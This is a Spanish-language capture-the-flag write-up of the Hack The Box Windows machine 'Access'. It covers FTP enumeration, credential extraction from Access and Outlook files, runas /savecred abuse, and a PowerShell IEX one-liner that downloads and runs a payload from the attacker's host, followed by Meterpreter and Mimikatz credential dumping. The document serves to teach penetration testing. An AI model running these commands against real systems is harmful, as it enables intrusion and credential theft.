Access
Dificultad: Easy - OS: Windows
¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info
La máquina Access, plantea un escenario orientado a sistemas Windows en donde se combinan vectores clásicos de enumeración de servicios, análisis de archivos potencialmente sensibles y abuso de mecanismos de escalada de privilegios mal configurados. El reto propone un entorno realista en el que el atacante deberá identificar puntos de entrada a través de protocolos expuestos como FTP y Telnet.
Durante la fase inicial, se accede a una serie de recursos expuestos en un servidor FTP anónimo, entre los cuales se encuentran respaldos de software de control de acceso físico, correos archivados y bases de datos de tipo Microsoft Access. Estos archivos contienen información crucial para el reconocimiento de credenciales, así como detalles de configuración que permiten avanzar hacia una sesión remota por Telnet con un usuario de bajo privilegio. El análisis de los datos extraídos permite además descubrir contraseñas reutilizadas y credenciales almacenadas mediante DPAPI.
La escalada de privilegios se apoya en la identificación de accesos directos mal configurados y el uso indebido de la utilidad runas con credenciales previamente guardadas. Esto posibilita ejecutar comandos como administrador sin necesidad de conocer su contraseña, habilitando finalmente la ejecución de un payload de tipo Meterpreter para consolidar el acceso con privilegios elevados. A través de herramientas como Mimikatz, se revela además que es posible extraer la contraseña original del administrador, incluso cuando no es estrictamente necesaria para la obtención del flag final, cerrando así un ciclo completo de explotación basado en técnicas de post-explotación y extracción de secretos.
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.134📌 Parámetros
sCV:-sC→ Ejecuta scripts de detección predeterminados → Usa los scripts denmapubicados en/usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.-sV→ Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n→ No resuelve nombres de dominio (reduce el tiempo del escaneo).--open→ Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.-T4→ Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.-v→ Modo verbose → Muestra más detalles sobre el progreso del escaneo.
Resultado:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsEnumeración del servicio FTP
Tenemos habilitado la sesión anonymous en FTP, así que vamos a iniciar el ataque por allí:
Encontramos el archivo Access Control.zip en la carpeta Engineer y el backup.mdb (una base de datos de Microsoft Access) en la carpeta Backups. Ahora vamos a descargar estos recursos, pero antes voy a activar el modo binary en FTP, por los siguientes motivos
📌¿Cómo funciona la transferencia de archivos en FTP?
Cuando estamos conectado a un servidor FTP, existen dos modos de transferencia de archivos:
ASCII mode (modo texto): Transfiere archivos como texto plano, adaptándolos al sistema operativo (por ejemplo, cambiando saltos de línea). Es ideal para archivos de texto.
Binary mode (modo binario): Transfiere los datos tal cual, sin hacer ningún cambio en los bytes. Es obligatorio para archivos binarios como bases de datos
.mdb, archivos comprimidos.zip, imágenes, ejecutables, etc.
¿Qué pasa si no cambiamos al modo binario?
Cuando descargamos archivos como backup.mdb o Access Control.zip usando el modo ASCII por defecto, el cliente FTP modifica los datos durante la transferencia (por ejemplo, cambia saltos de línea). Eso corrompe el archivo, y por eso después no podemos abrirlos correctamente en nuestro equipo local.
Entonces usando el comando binary le decimos al cliente FTP que a partir de ahora transfiera los archivos en modo binario.
📌¿Qué es una base de datos de Microsoft Access?
Microsoft Access es un sistema de gestión de bases de datos (DBMS) desarrollado por Microsoft, orientado a usuarios no técnicos y a pequeñas aplicaciones. Forma parte de la suite Microsoft Office.
Características clave:
Usa un formato de archivo llamado .mdb (Microsoft Database) en versiones antiguas, y .accdb en las nuevas.
Contiene tablas, consultas, formularios, informes, macros y módulos.
Permite crear bases de datos relacionales visualmente sin necesidad de escribir SQL complejos.
Los archivos
.mdbson bases de datos locales, es decir, el archivo en sí contiene todas las tablas y datos.
Al intentar abrir el Access Control.zip nos va a pedir una contraseña, lo más probable es que esta contraseña se encuentre en algún lugar de la base de datos backup.mdb. Entonces vamos a inspeccionar este elemento con mdb-tools.
📌 mdb-tools
La herramienta mdb-tools es un conjunto de utilidades de línea de comandos para interactuar con bases de datos Microsoft Access (.mdb) desde sistemas Unix/Linux (como Kali). Nos permite leer y exportar datos de archivos .mdb sin necesidad de tener Microsoft Office. Enumerar y examinar el contenido de un .mdb. Ver tablas, columnas, datos, incluso cuando no tenés la GUI de Access. Buscar credenciales u otra información sensible. Muchas veces estos archivos .mdb se usan para guardar configuraciones, usuarios, contraseñas o registros de aplicaciones internas (como en el CTF Access con ZKAccess).
Herramientas principales de mdb-tools
mdb-tables archivo.mdb → Lista las tablas dentro de la base de datos
mdb-schema archivo.mdb → Muestra el esquema (estructura) de la base de datos
mdb-export archivo.mdb tabla → Exporta una tabla completa en formato CSV
mdb-sql archivo.mdb → Permite ejecutar consultas SQL directamente sobre el .mdb
Vamos a listar las tablas:
Vemos que son muchísimas tablas y están desordenadas, entonces primero le vamos a aplicar un filtro desde bash para listarlas y ordenarlas alfabéticamente, luego grepeamos con user para solamente quedarnos con aquellas que podrían tener credenciales de usuarios
La tabla que nos interesa exportar es auth_user
De esta forma pudimos encontrar las credenciales para acceder al "Access Control.zip"
Nota: el parámetro -p debe ir junto con las credenciales (sin espaciado) y el parámetro x (extract with full paths) es para indicarle que conserve las carpetas internas.
El contenido del archivo comprimido es el 'Access Control.pst'. Pero ¿qué es un archivo .pst? un archivo PST (Personal Storage Table) es utilizado por Microsoft Outlook para almacenar correos electrónicos, contactos, calendarios, tareas, etc. Es básicamente la base de datos personal del usuario de Outlook. Esto lo podemos constatar usando el comando file que se encarga de inspeccionar el archivo y mostrarnos el tipo de contenido según su cabecera. Luego, para extraer el contenido del archivo .pst voy a usar readpst que se encarga de convertir todos los correos y elementos en archivos .mbox, .eml o texto plano.
En este caso vamos a obtener un archivo Acces Control.mbox y al leerlo nos vamos a encontrar con un correo donde están filtradas las contraseñas
Acceso inicial a la máquina
Estas credenciales nos van a servir para conectarnos al puerto 23 (Telnet) con la sesión del usuario security
Análisis del acceso directo mal configurado
Después de recorrer todos los directorios y revisar los ficheros, nos vamos a encontrar con el siguiente archivo .lnk C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk
Si lo inspeccionamos con type vamos a ver residuos binarios, ya que los archivos con esta extensión están en formato estructurado, no en texto plano. Sin embargo hay algunas partes legibles que nos dan las siguientes pistas:
Se usa runas.exe con /user:ACCESS\Administrator /savecred: runas.exe /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe". Esto nos indica que el acceso directo se ejecuta como Administrator con credenciales guardadas en /savecred. También nos indica la ruta del ejecutable del software: C:\ZKTeco\ZKAccess3.5\Access.exe. Entonces, con esta información sabemos que el administrador guardó credenciales usando /savecred, y las usa para ejecutar el software ZKAccess como ACCESS\Administrator. Esto permite que ejecutemos cualquier comando como administrador de la siguiente forma: runas /user:ACCESS\Administrator /savecred "comando"
Preparación de la reverse shell
Siguiente paso: obtener nuestra reverse shell. El payload que vamos a cargar en la sesion del usuario security es el siguiente:
En "ip_atacante" ponemos nuestra ip, y en port_listener, el puerto donde recibiremos la reverse shell. Para que la reverse shell funcione tenemos que seguir estos pasos:
Dejar levantado el listener en el puerto que configuramos con
nc -lvnp portEn otra shell levantar un servidor con python desde el directorio donde guardamos el payload con
python3 -m http.server 80En la sesión del usuario security ejecutar este oneliner:
📌 Desglose del comando
runas /user:ACCESS\Administrator /savecred
runas→ comando de Windows para ejecutar un programa como otro usuario./user:ACCESS\Administrator→ indica que el programa se ejecutará como el usuarioAdministratordel dominio o equipoACCESS./savecred→ usa credenciales guardadas previamente.powershell→ llama al intérprete de PowerShell.-co-Command→ le dice a PowerShell que lo que sigue es un comando para ejecutar directamente.IEX=Invoke-Expression→ ejecuta cualquier texto como código PowerShell.(New-Object Net.WebClient).DownloadString('http://10.10.14.7/payload.ps1')New-Object Net.WebClient→ crea un cliente web que puede hacer peticiones HTTP..DownloadString(...)→ descarga el contenido del archivo en texto plano desde el servidor web que levantaste en tu Kali conpython3 -m http.serverDevuelve una cadena de texto (el contenido de
payload.ps1), que luegoIEXejecuta como código PowerShell.
Resultado:
Upgrade a sesión Meterpreter
Como vimos antes, podemos ejecutar runas como Administrador, eso significa que sus credenciales están almacenadas en algún lugar de la máquina, así que vamos a recuperarlas para simplemente extraer la contraseña y luego iniciar sesión como él. Para obtener estas credenciales vamos a seguir estos pasos:
Setear un payload con
msfvenomque luego cargaremos en la sesión del usuariosecurityconpython http.serverConfigurar el listener en
msfconsolepara recibir la conexión del usuarioadministratorEjecutar el payload usando
runaspara capturar la sesión del administradorUna vez que tenemos la reverse shell en meterpreter preparamos el módulo
kiwi(mimikatz) para dumpear todas las credenciales de los usuarios del sistema.
Payload setings:
Levantamos un servidor con python para compartir el payload backdoor.exe al equipo windows
En la sesión del usuario security descargamos el payload backdoor.exe usando certutil
Seteamos el listener en msfconsole
Ejecutamos el payload con runas
Post-explotación con Mimikatz (Kiwi)
Aplicamos el módulo kiwi para dumpear las credenciales del sistema:
🥝 Explicación de los comandos de Kiwi
load kiwi → este comando carga la extensión kiwi, que integra las capacidades de Mimikatz dentro de Meterpreter.
Mimikatz es una herramienta para interactuar con el proceso
lsass.exey extraer credenciales, tickets Kerberos y más.Al cargar
kiwi, tenés acceso a comandos comocreds_all,kerberos_ticket_list, etc., directamente desde Meterpreter.
creds_all → este comando extrae todas las credenciales disponibles en memoria del proceso lsass. Incluye:
Hashes NTLM (para Pass-the-Hash)
Contraseñas en texto claro (si están en memoria)
Tickets Kerberos
Y más, según los proveedores de autenticación cargados
⚠️ Nota: al principio cuando intento ejecutar el comando creds_all me sale el siguiente mensaje de error [!] Not running as SYSTEM, execution may fail. Esto ocurre porque para acceder completamente a lsass, necesitamos privilegios de NT AUTHORITY\SYSTEM.
getsystem → este comando intenta escalar privilegios desde Administrator a SYSTEM usando varias técnicas (como Named Pipe Impersonation, token duplication, etc.). En nuestro caso funcionó: ...got system via technique 1 (Named Pipe Impersonation)
getuid → confirmamos que ahora estamos como NT AUTHORITY\SYSTEM, lo cual nos da acceso pleno al sistema.
creds_all (con SYSTEM activo) → ejecutamos creds_all con privilegios elevados, lo que permite que kiwi extraiga toda la información sensible de memoria. Y a continuación nos lista las credenciales:
kerberos credentials→ aquí vemos contraseñas o tickets Kerberos asociados a usuarios activos. Nuevamente, aparecen en texto claro.
Last updated